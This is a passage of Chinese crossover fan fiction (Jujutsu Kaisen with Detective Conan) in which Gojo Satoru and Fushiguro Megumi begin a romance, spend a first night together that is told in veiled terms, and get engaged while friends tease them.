伏黑惠一板一眼地说:“从成为咒术师的时间算,他们的确是前辈。” 五条悟逗他:“那我也是前辈,惠要不要叫我一声?” 伏黑惠疑惑地歪头:“悟前辈?” 五条悟露出被会心一击的表情。白毛大猫猫甩着不存在的尾巴,诱哄道:“惠能不能再叫点别的?” “别的?”伏黑惠一头雾水地看着他。 五条悟被他看得心里痒痒的,又想起另一件事来:“惠之前答应只有我们两个人的时候就主动亲亲我的。” 伏黑惠下意识问:“我什么时候答应了?” 五条悟失落地看着他,白猫猫的尖耳朵都耷拉下来了,如果有的话。 伏黑惠沉默地看着他。 五条悟的蓝眼睛一点一点黯淡下去:“惠之前说回去可以亲,刚才又说等只有两个人的时候……” 伏黑惠左右看了看。「死灭洄游」余威尚在,现在夜晚的东京远远没有以前那么热闹。 他深吸了一口气,做了一点心理建设,回想着上次和五条悟接吻的细节,只是重现一下,应该没问题的。 “那,您不要动。”伏黑惠勾住五条悟的脖子,翠绿的眼眸盯着淡粉色的唇瓣,用自己的嘴唇贴了上去。 在两个人亲上的那一刻,他忍不住闭上了眼睛。 第90章 “所以, 你们现在正式在一起了?”黑羽快斗和工藤新一坐在学校周边的咖啡店里,看着坐在对面的伏黑惠。 “嗯。”伏黑惠点了点头,“多谢黑羽学长的……提醒。” 黑羽快斗大手一挥:“没事, 我这个人就是热心, 喜欢撮合小情侣!” 工藤新一用‘你说得好听’的眼神看着他:你还记得你对服部和远山干过什么吗? 黑羽快斗无辜地眨了眨眼睛,他又不知道服部平次那次是要告白,他也被吓到了好不好? 工藤新一幸灾乐祸:你活该! 黑羽快斗斜了他一眼:就这么一点事你要说多久啊, 小心眼! 工藤新一白了他一眼, 看向伏黑惠:“我记得当初禅院家……现在你们两个在一起了,家里处理起来很麻烦吧?” 伏黑惠摇了摇头, 轻描淡写地说:“真希前辈虽然看起来总是在为难悟先生, 但并不会反对我们在一起。津美纪也愿意让我们试试看。” 工藤新一有点意外地挑了挑眉。他和伏黑津美纪是同学, 对她的性格也有些了解, 也知道伏黑津美纪有多在乎伏黑惠。 这样的伏黑津美纪听伏黑惠说要跟五条悟在一起之后会只是表达支持, 不在意地让他们试试? 工藤新一了然地说:“看来是我多想了,五条先生肯定早就处理好了。” 伏黑惠微微一愣, 似乎才意识到这个问题,不由得皱起了眉。 “除了她们之外, 其他人都没有意见吗?”黑羽快斗看了一眼伏黑惠的神色, 把话题顺了下去, “我记得五条家那边和禅院家也差不多吧, 他们都不会有意见吗?” “五条家是悟先生的一言堂……”伏黑惠停顿了一下,“其实现在咒术界也是一样, 没人敢有意见的。” 黑羽快斗摸了摸下巴:“……听起来不太妙诶,要不是知道前因后果,我都要怀疑伏黑君你是不是被强迫的了。” “为什么?”伏黑惠惊讶地问,“悟先生不会做这种事。” “怀璧其罪。”工藤新一有点无语地说, “而且五条先生的性格的确是……有点任性。” 伏黑惠解释道:“悟先生只是因为太忙了,所以有时候显得有点独断专行,其实他并不是那种不容违逆的人。” 黑羽快斗打趣道:“伏黑君,你现在就像是那些觉得恋人无论做什么都是有苦衷的恋爱脑。” 工藤新一说:“我和五条先生的接触不是很多,不过他的确很有气场。” 伏黑惠说:“悟先生从小就是五条家的「神子」,他也习惯了。” 黑羽快斗饶有兴趣地问:“如果伏黑君在禅院家长大也会是这样吗?” 伏黑惠说:“应该不会。” 工藤新一点头道:“每个人的性格除了后天之外,先天也有很大区别。” 伏黑惠说:“我不会在禅院家长大的。” 黑羽快斗好奇地问:“这么确定吗?” “嗯,甚尔……我的生父虽然把我卖给了直毘人先生,但是他告诉了悟先生我的存在。”伏黑惠说,“就算悟先生把这件事忘了,等到我是「十种影法术」暴露的时候,五条家的人也不会放弃我的。” 黑羽快斗吐槽道:“……每次听到伏黑君的身世就有一种这个世界好乱的感觉。” 工藤新一揉了揉额角。他不一样,他每次听到一个小孩这么被‘卖’来‘卖’去都想报警。 工藤新一问:“在五条家长大会比在禅院家长大好一些吗?” 伏黑惠说:“悟先生不会把我随便塞到五条家的某个角落里长大的。” 黑羽快斗眼中闪烁着八卦的光芒:“为什么?” 伏黑惠抿着嘴角,眼中满是柔光:“因为我会求他让我见见津美纪,我不想跟津美纪分开。”而五条悟只要答应了就不会把他们两个扔到一边不管。 他说:“悟先生其实是个很有责任心的人。” 工藤新一说:“这个我们倒是相信,他有这样的力量,现在还在为咒术界尽心竭力肯定有很强的信念。” 黑羽快斗跟着他点头。五条悟都是咒术师第一人了,不喜欢争权夺利还管收拾烂摊子,这样的最强谁不喜欢啊? 工藤新一问:“伏黑君未来有什么打算吗?如果想要从政或者需要一些实习经历之类的可以来找我帮忙。” 黑羽快斗给他敲边鼓:“对欸,跟我这种来混日子的人不一样,东大的金表组还是很有名的。” 伏黑惠是东大法学部的学生,成绩一流,只要之后不出岔子,他将来就算不是毕业典礼上发言的那个肯定也是优秀毕业生,将来他要是从政从警或者跟法律沾边的职业,金表组都是他的人脉。 尤其是,伏黑惠还是个咒术师。现在政府部门其实很欢迎咒术师加入,伏黑惠作为咒术师有一定声望,又从小在普通人的世界长大,还有一个普通人的姐姐,简直是教科书式的和平友好模板。 伏黑惠显然也认真思虑过:“我有一些想法,但还没确定。” 黑羽快斗说:“不着急,你还有三年时间呢。” 工藤新一说:“如果要考硕士的话还是要提前准备,最好大三的时候就决定好。” 伏黑惠说:“我应该不会继续念书了。”他上大学是因为能考上,想的是工作之后挣钱养活他和姐姐,对于学历并没有什么执念。 黑羽快斗说:“那很好啊!你可以利用这几年的时间多接触一些职业,等毕业的时候就知道你想做什么了。”他把手搭在工藤新一的肩上,“咱们这位工藤君在警方人脉广阔,就算你想体验公安生活都没问题。” “伏黑君要是想去警察厅或者警视厅根本用不到我吧。”工藤新一对伏黑惠说,“要是你真的愿意去,明智先生和降谷先生都会很高兴的。” 伏黑惠摇了摇头:“我不打算做警察。” 工藤新一很明显早就知道这一点,听他这么说一点儿失望的表情都没有。 伏黑惠看向黑羽快斗:“黑羽学长,你还是不想学习咒术吗?” 他也不想做咒术师,但对于自己的术式还是有认真学习的,后来经历过「死灭回游」就更是了。 黑羽快斗双手合十,做出了‘拜托拜托’的表情:“我不喜欢做那些,麻烦伏黑君一直为我保密了。” “我会的。”伏黑惠也不多问,他问这句也是突然想起来五条悟一直在抱怨咒术师还是太少了。 工藤新一说:“这家伙能把这四年安稳读完就不错了,要不是「死灭洄游」,他估计现在已经在拉斯维加斯出道了。” 黑羽快斗说:“现在也不晚,等这场风波过去,我就去美国做交换生。” 伏黑惠好奇地问:“工藤学长会做警察吗?” 工藤新一说:“不,我毕业之后会开一家自己的侦探事务所。伏黑君要是感兴趣的话,也可以来找我合作。” 三个男生交换了自己对未来的想法,伏黑惠听取了两位学长的建议。他最近心里也有一些新的想法,若有所思地回了家。 公寓的门被从外面打开,伏黑惠心不在焉地说:“我回来了。” “欢迎回来。”客厅里的电视发着幽幽的光线,五条悟从沙发上抬起头看他,脸上的表情复杂得像是在看一个始乱终弃的渣男。 伏黑惠站在门口,目光游移:“悟先生,您也在家啊?” “我在家有什么奇怪的?!”五条悟悲愤地说,“惠知道我在家是不是就不回来了?!” 伏黑惠有点心虚地抿了抿嘴唇:“……不会的。” 五条悟怒打抱枕:“惠犹豫了吧?犹豫了吧?!果然是在躲着我!” 伏黑惠理直气不壮地说:“我没有躲着您!” 五条悟理直气壮地抒发着自己的委屈:“我只是在惠亲亲的时候没忍住激动了一点,惠居然就这么对我!!!” 伏黑惠显然被他的倒打一耙点燃了,大声说:“您才不是只亲……”说到关键位置,伏黑惠立刻消声,脸色涨红。 五条悟目光游移,脸上泛红:“我们都已经是情侣了,做一点情侣之间羞羞的事也是可以的吧。” 伏黑惠瞪他:“但那是在大街上!” 五条悟委屈巴巴地为自己辩解:“我当时已经准备瞬移回来了,我才不会在大街上把惠扒光。” 伏黑惠咬牙切齿地说:“要瞬移很多次!”而且扒光是什么啊?! 五条悟睁着一双水汪汪的蓝眼睛看着他。 伏黑惠深吸了一口气,掷地有声地说:“总之,在外面不可以。” 五条悟眨巴着眼睛,表面上乖巧无辜又不可置信地问:“不可以什么?亲亲、抱抱、牵手手都不可以了吗?!” “牵手和抱抱可以……”伏黑惠纠结了一会儿,给出了答案,“亲……亲亲最好不要。” 五条悟货真价实地震惊了:“连亲亲都不行了吗?!” “谁知道您亲亲的时候会激动得做什么?!”伏黑惠色厉内荏地瞪了五条悟一眼,快步走进了自己的房间。 “噗嗤!”五条悟用望眼欲穿的目光追着伏黑惠走进房间,看到房门关上后露出了呗可爱到的笑容。 他抱着抱枕在沙发上滚了滚,在心里第一万次感慨:惠害羞的样子真是太可爱了! 不过他昨天是有点过分,嗯,一点点,不应该在大街上就往惠衣服里面摸的……但那也不能怪他嘛!惠第一次主动亲他,还一脸害羞又柔软的样子,他激动了一点也是情有可原吧。【..top】 90-94 第91章 伏黑惠在自己房间害羞了很久, 直到五条悟敲门叫他出来吃晚饭才从里面打开了门。 五条悟看着伏黑惠穿着柔软的居家服出来,心也软软的:确定情侣关系后,软磨硬泡让惠住回来果然是正确的决定。惠的锁骨真好看啊! 伏黑惠看着五条悟的目光落点, 低头检视了一下自己的衣服, 没发现任何问题:“怎么了,悟先生?” “没什么~”五条悟的语调里都要具化出粉色的小心心,跟伏黑惠一起来到餐桌旁坐下, 荡漾地说, “惠现在穿的这个是不是就叫做男友衬衫?” 伏黑惠又低头看了看自己:“我穿的不是衬衫。” 五条悟感慨地说:“要是惠的耳朵没有红,我就要被惠骗过去了。” 伏黑惠耳朵上的红色顿时蔓延开来, 染上了脸颊:“这件衣服不是您很早就买的吗?!” 五条悟貌似纯良地问:“惠喜欢吗?” 伏黑惠说:“我一直都是这么穿的啊!” “我知道啊。”五条悟眨巴着眼睛, 一脸无辜的样子, “我只是问惠喜不喜欢, 要是惠喜欢的话, 我以后每次都给惠买。” “您不是一直都是自己买衣服就会顺便给我带吗?”伏黑惠吐槽道,他看着五条悟殷殷期盼的表情, 说,“下次还是不用了, 我自己的衣服够穿。” “欸——不要嘛~~”五条悟拉长了声音撒娇道, “惠穿我的衣服很好看!” “好看在哪里?”伏黑惠纳闷地问, “我只是觉得料子很舒服才拿来当居家服的。” 毕竟他和五条悟的体型差虽然随着他年龄增长在逐渐缩小, 但还是客观存在的。这种对于体型要求较小的T恤不能穿出门还能拿来当居家服,要真是衬衫, 他肯定穿不了。 “我给惠买两件睡衣怎么样?”五条悟思索道,“我和惠有很多同款的衣服,但是没有睡衣。” “没有吗?”伏黑惠回想了一下,发现是真的没有。他在禅院家的时候是穿他们提供的衣服, 回来之后以前的衣服都穿不了了是新买的,但是没有睡衣。 五条悟雷厉风行地掏出手机,开始挑选花色:“这件的花色我喜欢、这套似乎也不错,惠喜欢哪个?要不然就都买了!” “请不要买那么多睡衣!”伏黑惠一瞬间想起来以前一起逛街时被五条悟大包小包支配的恐惧。虽然买东西和拎东西的都是五条悟,但要穿的人是他啊! 五条悟微微侧了侧,把手机屏幕亮出来。 伏黑惠习以为常地把头凑过去,跟他看同一个页面:“……就这套狗狗的吧。” “惠还是最喜欢「玉犬」。”五条悟的眼尾耷拉下来,让人幻视了他头上两只尖尖的耳朵也垂下来的样子。 伏黑惠改口道:“那……白色猫猫的也可以。” 五条悟又支棱起来了,摇着身后不存在的尾巴,善解人意地说:“那惠穿这套白色猫猫的,我穿这套黑色狗狗的,这样惠也能看到狗狗了。” “好。”伏黑惠答应得很痛快。这么多年他们对对方的喜好和审美都很了解,买东西一般都不会触雷。 他看着五条悟兴致高昂地在手机上下单,突然开口道:“悟先生喜欢买衣服的话,津美纪才更需要吧,女孩子好像都很喜欢买衣服。” 这是他从自己身边的女生们身上看出来的,她们都很喜欢逛街买衣服。 五条悟说:“我也有给津美纪买,不过津美纪应该更喜欢自己逛街,就像是野蔷薇她们……放心啦,悟先生不会因为跟惠谈恋爱了就忘记津美纪的。” 伏黑惠点了点头,低头夹菜:“我把我们的事跟津美纪说了。” 五条悟付过款后把手机放到一旁,镇定地问:“津美纪说什么了吗?” 伏黑惠平铺直叙地问:“悟先生不知道吗?” 五条悟弯下腰,猫猫祟祟地从下往上探头,想看看伏黑惠的表情:“惠生气了?” “……没有。”伏黑惠这么说着,有点赌气地夹菜吃。 “惠~”五条悟说,“抬头看看我嘛~” 伏黑惠抬眼看了他一眼,没滋没味地问:“您不吃饭吗?” “惠的事比吃饭重要。”五条悟关心地问,“惠怎么了?难道津美纪说了什么?” 伏黑惠闷声闷气地说:“没有,津美纪很支持我们。” 五条悟露出笑容:“津美纪很疼爱惠的。” 伏黑惠问:“那您为什么要单独去见津美纪?” 五条悟摸了摸伏黑惠的头发:“因为津美纪是惠的姐姐。” 伏黑惠担心地问:“津美纪对您说了什么吗?” 五条悟轻描淡写地说:“没有啊,津美纪还是那么温柔又善解人意,只是提醒我不可以欺负惠。” “您没有欺负我。”伏黑惠心里不是滋味,“您从来都没有欺负过我。” 五条悟才是给了他最多自由的那个,为什么所有人都好像怀疑他别有用心似的? “为什么大家都这么以为呢?”伏黑惠困惑地问,“真希前辈他们也好、津美纪也好,甚至家入小姐和七海先生表现得都好像是我吃亏了一样。” 但悟先生明明是这么好的一个人,而且谈恋爱本身也说不上谁占便宜吧? 五条悟了然一笑:“因为悟先生是大人啊!” 只要想象一下七海或者硝子跟他说要和惠谈恋爱就完全理解其他人的心情了,这种觊觎别人家小孩的混蛋大人就应该被活活打死! 伏黑甚尔只是突然出现来威胁他一下真是太不负责了!就算知道打不过他好歹也试试吧! 伏黑惠却无法理解这种心情,不开心地说:“我也已经是大人了。” 他成年了,跟悟先生谈恋爱是他自己做出的决定,不需要其他人来告诉他这样是不对的。 伏黑惠抿起嘴角:“悟先生很好,我是自愿跟悟先生在一起的。谈恋爱的话,这样不就够了吗?” 五条悟看着伏黑惠,心如擂鼓。他坏心眼地揶揄道:“惠距离成为大人还有很关键的一环哦!” 伏黑惠下意识追问:“是什么?” “是一个人生中很重要的经历。”五条悟高深莫测地说,“我会带惠好好体验的。” 他在伏黑惠继续追问前,问:“惠之前是真的生我的气了吗?我才不会在大街上做什么冒犯惠的事……” 惠亲起来那么甜,贴在他身上那么软,他才不由自主地摸了一下惠的腰。本来是想抱起惠就瞬移回家的,结果伏黑惠被摸得一个激灵,立刻退出了五条悟的怀抱。 伏黑惠欲言又止地抬头看了五条悟一眼,似乎在长久以来积累的信任和恋爱之后的产生的怀疑之间徘徊。 最终还是前者占据了上风,伏黑惠说:“我相信您。” 五条悟弯起眼睛,软着嗓子问:“那我现在可以亲亲惠了吗?现在是在家里了,只有我们两个人。” 伏黑惠低头看了看自己吃到一半的晚餐,为难地说:“可我还没有刷牙。” “噗嗤!”五条悟被伏黑惠逗笑了,随后郑重地点点头,“惠说得对,那我们先吃饭,吃完饭再亲亲吧。” 他会给惠一个很美好的成年体验的。 心怀鬼胎的五条悟很快就解决了晚饭,温温柔柔地注视着伏黑惠,表情像在看小猫咪的吃播。 伏黑惠:…… 他看着后发先至的五条悟,也加快了自己吃饭的速度。 “惠慢慢吃没关系的。”五条悟咪咪喵喵地说,“我们晚上还有很多时间。” 您这么看着我让我怎么慢慢吃啊?!伏黑惠在心里对五条悟翻了个白眼,吃完饭之后快手快脚地把碗碟收拾了。 两个人配合默契地收拾完卫生,在客厅的灯光下面面相觑。 五条悟也有点紧张,虽然他看了很多学习资料,但实践还是第一次——上一次还把惠吓跑了。 他的紧张引发了伏黑惠的紧张,伏黑惠紧张地抓紧了衣角。 两个紧张的人对视一眼。 蓝眼睛对上绿眼睛。 五条悟捧起伏黑惠的脸颊,先是亲上了他的唇角,循序渐进地将两双唇重叠,然后用舌尖敲开伏黑惠的齿关。 伏黑惠的身体像是上次一样越来越软,到最后完全靠着五条悟的支撑站立。 房间里没有其他声音,静谧使得氛围愈发暧昧。五条悟这次挑开衣摆的时候,早有先见之明地把人牢牢困在自己怀里。两人紧紧相贴的身体让他能清晰地感知到伏黑惠的身体随着他的动作轻颤。 “嘘!”五条悟的声音低沉温柔,诱哄道,“没问题的,惠,交给我吧。” 伏黑惠原本紧绷的肌肉在听到他的话时放松下来:“好。” 五条悟兑现了自己的诺言,在关键时刻抱起伏黑惠瞬移回了卧室。 床铺柔软得如同云朵,黑色的高档床单摸上去跟柔嫩的皮肤一样丝滑,极致的黑白反差让人无法自控。 “惠。”五条悟安抚地在伏黑惠的额头和脸颊上落下一个个轻吻,“我好爱你。” 伏黑惠睁着水润的绿眼睛看着他,过多的爱意让他有一种快要溺毙的错觉,整个人都要化成一汪春水。 浓重的水汽沁入云朵,雪白的云朵像是被人用手拧了一下的毛巾,露出柔软的内里时在手上留下几道水痕。凭空而降的闪电像是同时劈开了身心。 五条悟的目光紧紧锁住伏黑惠,身体稳定得像一座不可动摇的高山,又如同海面上唯一的船——像是远古的神祗,给予灾难的同时给予庇护,给予痛苦的同时给予欢愉。 第92章 第二天早上的时候, 伏黑惠睁开眼睛,第一眼看到的就是某人一双瑰丽的蓝眼睛:“……悟……先生?” 五条悟目光灼灼地看着伏黑惠,兴奋得好像一晚上没睡。听到伏黑惠沙哑的嗓音, 五条悟从床头柜上拿了一杯水喂到伏黑惠唇边, 温柔地说:“惠,先喝点水~” 伏黑惠莫名地抖了一下又不知所以,乖巧地小口抿着喝水。 五条悟没有忽略伏黑惠最细微的动作, 体贴地问:“惠冷吗?” 他伸手把伏黑惠又往自己怀里搂了搂, 抱紧。 火热的体温把他包裹起来,伏黑惠的脸腾得红了。五条悟爱怜地贴了贴他的他的脸颊:“惠怎么还是这么害羞啊?” 伏黑惠用被子把自己裹起来, 警惕又不好意思地看着五条悟:“悟先生, 您怎么……不穿衣服?” 五条悟眨巴着眼睛:“我们昨天晚上不是都已经坦诚相见了吗?” “那不是您不穿睡衣的理由!”伏黑惠红着脸怒视他。 五条悟为自己辩驳:“我也不是故意不穿的, 只是不想起床, 想多抱惠一会儿~” 伏黑惠想了想, 脑海中回想起昨天夜晚的场景,脸又红了一个度。好吧, 昨天晚上的确是没空穿睡衣。 伏黑惠不好意思地往被子里缩了缩,两人的皮肤磨蹭着, 五条悟身上某处异于常处的温度烫得伏黑惠身体一僵, 不敢再动。 五条悟自发自动自觉地挪开了一点点, 安抚地隔着被子拍着伏黑惠:“惠疼不疼?” 伏黑惠默默地摇了摇头。 从网上吸取了海量知识的五条悟不相信地看着他:“惠疼的话要直接告诉我, 疼是正常的,惠不要瞒着我。” “……真的不疼。”伏黑惠红着脸说。 五条悟仔细观察了一会儿伏黑惠的神色, 确认对方说的是实话,也松了口气:“看来硝子推荐的药还挺有用的。” 伏黑惠愣住了:“家入小姐?” “嗯。”五条悟点头,仿佛邀功一样说,“昨天结束之后, 我担心惠受伤,特意问了硝子受伤了要怎么上药。” 虽然他昨天晚上很温柔,但第一次纵情起来总是会忘情的。事后五条悟检查过没有出血,但有些红肿,于是半夜火急火燎地打电话给家入硝子应该怎么用药。 伏黑惠愣愣地盯着他看了一会儿,一双十指修长的手从被子里伸出来:“「玉犬」!” 一黑一白两只「玉犬」冲出影子,遵循着式神使的心意,追着五条悟满屋乱跑。伏黑惠看着光溜溜地在房间里上蹿下跳,安详地闭上了双眼,假装自己已经死了。 逃避可耻,但有用。 东京校。 五条悟一路走进校园里,脸上的笑容阳光灿烂,每个人都能体会到他的好心情。 昨天晚上被迫得知内情的家入硝子冷眼看着他:“禽兽。” 五条悟歪了歪头,疑惑地看着她:“硝子干嘛这么说?” 家入硝子冷笑:“你之前不是说要慢慢来吗?” “已经很慢了!”五条悟掷地有声地说,随后又猫猫祟祟地表示,“因为惠太可爱了嘛!” 家入硝子给了他两个白眼:“定力太差了,悟。” 五条悟说:“我和惠都已经在一起了,这也是迟早的事吧。” 家入硝子调侃道:“你之前说得那么义正词严,我还以为你能忍到结婚呢。” 五条悟一脸遇到知己的表情:“我也想和惠结婚,但是惠说要等他毕业!” 家入硝子:…… 她干巴巴地问:“你们已经讨论过这个话题了吗?” “当然了,我又不是那种不负责任的人渣。”五条悟心不在焉地说。 今天早上,五条悟仗着自己不要脸没穿衣服不可能被轰出卧室摆脱了「玉犬」的追杀。 他在伏黑惠的催促下穿好衣服,看着洗漱的伏黑惠,满心柔软,不由得开口道:“惠,我们什么时候结婚?” “咳咳咳!”伏黑惠差点被漱口水呛死。 “惠很激动啊!”五条悟眼睛亮亮的,感同身受地说,“我也很激动!” “等等,悟先生!”伏黑惠连忙阻止他,生怕晚了一点五条悟就开始给亲朋好友打电话宣布婚讯了。 “嗯?”五条悟满眼期待地看着伏黑惠,只等他点头。 伏黑惠艰难地开口道:“我觉得,结婚,还是等我毕业之后比较好。” 五条悟大惊失色:“为什么?!等惠毕业还要三年!” 伏黑惠委婉地说:“我不想在学校里太引人注意。” “只是结婚为什么会引人注意?”五条悟不解地说,“大学里有很多人都会结婚吧?” 伏黑惠说:“现在学业太忙了,我没有时间经营婚姻生活。” “为什么要经营?”五条悟纳闷地问,“我们都在一起这么久了。” 伏黑惠也说不上来,但他还是觉得就算他们生活在一起的时间再长,但婚姻还是不一样的。 就像是,伏黑惠说:“不管我和悟先生一起生活了多久,但谈恋爱了就会有所改变,结婚的话,变化会更大的。” 五条悟委委屈屈地看着伏黑惠:“惠是不是想对人家始乱终弃?” “我没有!”伏黑惠说,“我只是……现在结婚太快了!” “好吧。”五条悟垂头丧气地说,“我知道了。” 伏黑惠心软软的,内疚地看着五条悟:“悟先生……” “没关系。”五条悟朝着伏黑惠弯了弯眼睛,轻描淡写地说,“我也想多享受一下跟惠恋爱的日子。”他眨巴着眼睛,“惠要让我体会到恋爱之后跟之前哪里不一样哦!” “最大的不一样就是你变得更幼稚了!”家入硝子毫不客气地抨击道,“伏黑真是比你成熟太多了。” “欸?”五条悟不服气地说,“我哪有?!” “呵呵!”家入硝子冷笑两声,“哪有人上床第二天手里什么都没有就求婚的?我要是伏黑,我也不会答应!” “我也不会向硝子求婚啊!”五条悟色厉内荏地说,看起来对这件事也有几分理亏,“我只是一时上头……幸好惠没答应,不然以后每次过求婚纪念日都要想起求婚这么寒酸了……” “一时上头……”家入硝子鄙视地看着他,“这种词都用上了,幸好伏黑没答应你,不然你说自己一时上头才求婚的也太过分了!” “啊……”五条悟四仰八叉地坐在沙发上,“那也不能怪我吧……硝子没有那种时候吗?突然觉得好幸福想把时光留住,然后说了什么根本不受自己控制了!” “肉麻!”家入硝子忍不住摸了摸胳膊上的鸡皮疙瘩,“你要是把这段话说给伏黑听,说不定他就改变主意了呢?” “惠才不会嫌弃我没拿礼物……”五条悟说,“那不是我也意识到求婚太简陋了吗?本来想再求一次的,但惠既然都这么说了……” 家入硝子怀疑地问:“你真的能等三年?” 五条悟说:“有什么不能等的?我和惠这三年里依旧是恋人啊!” 家入硝子没眼看,揶揄道:“你也就算了,惠今年才十八岁,彻底绑在你身上是有点早了。” “惠不管多少岁都会在我身边!”五条悟不满地抱怨道,“而且什么叫我也就算了啊?!” “你的占有欲真的是……”家入硝子吐槽道,“为什么你心里没数吗?三十多岁的大叔!” 五条悟指出:“硝子还不是一样三十多岁!硝子还没有恋人!” “医生不需要恋人,智者不入爱河。”家入硝子嘲笑道,“像你一样恋爱脑还是免了吧!” 五条悟理直气壮地问:“我哪有恋爱脑?” 家入硝子比他更理直气壮:“你都跟伏黑在一起了还不是恋爱脑?” 五条悟骄傲宣布:“我和惠是真心相爱的!” 家入硝子指出:“这就是标准的恋爱脑发言。” 五条悟哼了一声:“硝子,你是不是嫉妒我和惠的美丽恋情?” “我怕麻烦。”家入硝子问,“你想好怎么说服五条家和禅院家了吗?” 五条悟说:“五条家无所谓,反正「六眼」和「无下限」都不是父子相继的,我没有孩子说不定他们更高兴。”这样五条家下一任的家主大家都能竞争了。 五条悟说:“禅院家的话也是一样,有真希在没问题的。” 家入硝子为禅院真希掬一把同情的热泪:“真希才刚成为禅院家主,你别总是给她找麻烦。” 五条悟算着时间:“惠毕业之后,真希也应该站稳脚跟了。” 家入硝子说:“那也是伏黑定的时间。” 五条悟说:“惠都这么说了,我肯定不会强迫他啊!” “伏黑应该也顾虑到了这点吧。”家入硝子看着五条悟,“那孩子不会跟你这样心血来潮,估计都考虑过了。” 五条悟臭着脸:“惠不用考虑这些。我们两个结婚跟禅院家有什么关系?!” 家入硝子嘲笑道:“他做了两年禅院家主,肯定心里有数。不告诉你估计就是怕你又额外给禅院家找麻烦。” 五条悟哼了一声,倒也没反驳家入硝子的猜测。 这就是为什么他非常讨厌禅院家,做过禅院家主后,惠的思考方式必然潜移默化地发生改变。就算现在他自认为已经脱离了禅院家,潜意识里还是顾虑着他和五条悟结婚可能会导致的风波。 家入硝子看着五条悟的背影,问:“你去哪儿?”该不会真的要去找禅院家麻烦吧?! 五条悟背对着她往外走,说:“去买戒指啊!虽然不能结婚,但先订婚总可以吧。” 作者有话说:马上要完结了呢 第93章 工藤新一和黑羽快斗看着戴着戒指回来的伏黑惠, 两个人难得一起无言以对。 “恭喜啊,伏黑君。”黑羽快斗看着那枚镶满了碎钻,布灵布灵的戒指, 由衷感慨道, “没想到你们进展这么快!” “我自己也没想到。”伏黑惠无奈地说。他和五条悟的恋爱历程以超乎想象的效率进展着,他猜悟先生自己也没想到,不然不会慌慌忙忙跑去买戒指。 工藤新一说:“伏黑君, 如果是逼婚的话, 我们可以帮忙。” 伏黑惠摇了摇头:“不,没有, 是我自己答应的。” 黑羽快斗半是开玩笑地提醒道:“被PUA在道德层面上不能算自愿哦。” “不, 我没有。”伏黑惠看了看手上的戒指, 笑了一下, 有点无奈更多的是温柔纵容, “我自愿的。” 黑羽快斗也笑起来,带着祝福的神色:“戒指很好看。我还以为伏黑君会喜欢素圈这种款式。” 伏黑惠欲言又止:“我已经努力低调了。” 他想起五条悟拍给他的照片上的各种颜色的鸽子蛋, 不仔细看他都看不到细小的指环在哪里。 看到照片的伏黑惠瞬间领会了五条悟的意思,垂死病中惊坐起, 直接给五条悟打电话问清楚地点, 赶在买单之前自己冲了过去。 最后两个人在珠宝店里拉扯了许久, 在伏黑惠承诺结婚时候的求婚戒指可以按照五条悟的审美挑选——虽然他也不知道为什么订婚求一次婚结婚还要再求一次——五条悟才勉勉强强答应用这枚朴素一点的戒指, 但依旧坚持了布灵布灵的审美。 “很……特殊的求婚经历。”黑羽快斗听完之后作出了友好的客观评价。 工藤新一好奇地问:“我还以为咒术师求婚会用更……有代表意义的东西,原来也是用普通的戒指吗?” 伏黑惠说:“咒具吗?其实我和悟先生都很少使用咒具, 对我们来说术式就够用了。” “但其实比较大的戒指会干扰伏黑君你的术式使用吧?”黑羽快斗从魔术师的角度发言,“你的术式会用到双手,还是简单一点的戒指更方便。” 伏黑惠显然也考虑过这个问题,流畅回答:“到时候只能先把戒指收进影子里了, 不然总是容易损坏。” 黑羽快斗把原本的‘可以用从这个角度劝一下五条先生’的建议咽回去,善解人意地换成了:“其实也可以买一条链子戴在脖子上,银色的链子和铂金的指环搭配起来很像是时尚单品,不会那么引人注意。” “不行。”伏黑惠又叹了口气,“我答应悟先生会戴在手上了。” “欸?”黑羽快斗眨巴眨巴眼睛,原来那位咒术界的最强是这种风格吗?! 工藤新一倒是想起了什么,无语地问:“不然他就会一直往学校送红玫瑰吗?” “哇哦!”黑羽快斗发出了惊叹。 伏黑惠脸上写着‘凑活过呗,还能离吗’,嘴上说着:“悟先生坚称是在实行恋人应有的权利。” 工藤新一的嘴唇动了动,似乎是很想吐槽但又因为五条悟的身份咽回去了。 黑羽快斗若有所思地说:“从某种角度来说,五条先生说得也没错啦。” 工藤新一惊悚地看向黑羽快斗。 黑羽快斗耸了耸肩:“宣誓主权的确是恋人应有的权利啊!” 伏黑惠认同地点点头。所以五条悟这么说的时候他完全没办法拒绝。 工藤新一:……我感觉自己坐在这里格格不入。 黑羽快斗揶揄道:“五条先生肯定是相当认同伏黑君的魅力才会这样把你看得死死的。” 伏黑惠扶额,吐槽道:“其实悟先生才是更有魅力的那个吧。” 黑羽快斗笑眯眯地问:“那伏黑君有危机感吗?” “什么?”伏黑惠茫然地看着他,“没有……没必要吧。” 黑羽快斗摸了摸下巴:“伏黑君在感情上相当有安全感呢!” 伏黑惠含糊不清地说:“其实悟先生也是担心禅院家……” “禅院家居然还包办婚姻吗?”黑羽快斗说,“怪不得那位五条先生表现得像是伏黑君随时会被抢走的样子。” 工藤新一奇怪地问:“同为御三家,五条先生已经三十多岁了,难道五条家就没有做过什么吗?” “不知道。”伏黑惠不太清楚这些,按照惯例,五条家肯定也催过五条悟,“不过五条家也管不了悟先生。” 见过五条悟的工藤新一和黑羽快斗都点头。 黑羽快斗八卦地问:“能问问你们的订婚戒指买了几枚吗?” 伏黑惠比了一个‘耶’。 黑羽快斗了然地点头,一脸的‘果然如此’。 工藤新一看着两个人的神情,不确定地问:“订婚戒指……不是应该只买一枚吗?” 黑羽快斗说:“你看那位五条先生的性格就是更愿意自己也戴戒指去炫耀的吧?” 伏黑惠不由得想起了他和五条悟在珠宝店终于选好订婚戒指后的场景。 五条悟跟他十指相扣,从各个角度拍了几十张照片,精心挑选了九张发了个九宫格,配上狗粮味道满满的文案,刚一发出去就遭到了广大同事的点赞和吐槽。 伏黑惠的手机也随之跳起了舞,通知提示音不绝于耳,都是劝他不要英年早婚的。 跟他比较单一的内容比起来,五条悟那边的情况就丰富多了。五条家、禅院家、校长同事、学生前辈……有敲诈请客的,有劝他慎重考虑的,有让他不要擅作主张的,还有问五条家和禅院家联姻要怎么随礼的。 伏黑惠看着五条悟手忙脚乱地把手机静音,十分庆幸自己离开禅院家之后就把大部分人的联系方式都拉黑了。 现在辛苦的是真希前辈了。 然后他的手机铃声响了,是禅院真希。 伏黑惠和五条悟面面相觑。 五条悟牵着伏黑惠的手,提议道:“惠,我们私奔吧!” 伏黑惠看了看两个人响得此起彼伏的手机,果断把自己的手机也关机:“好。” 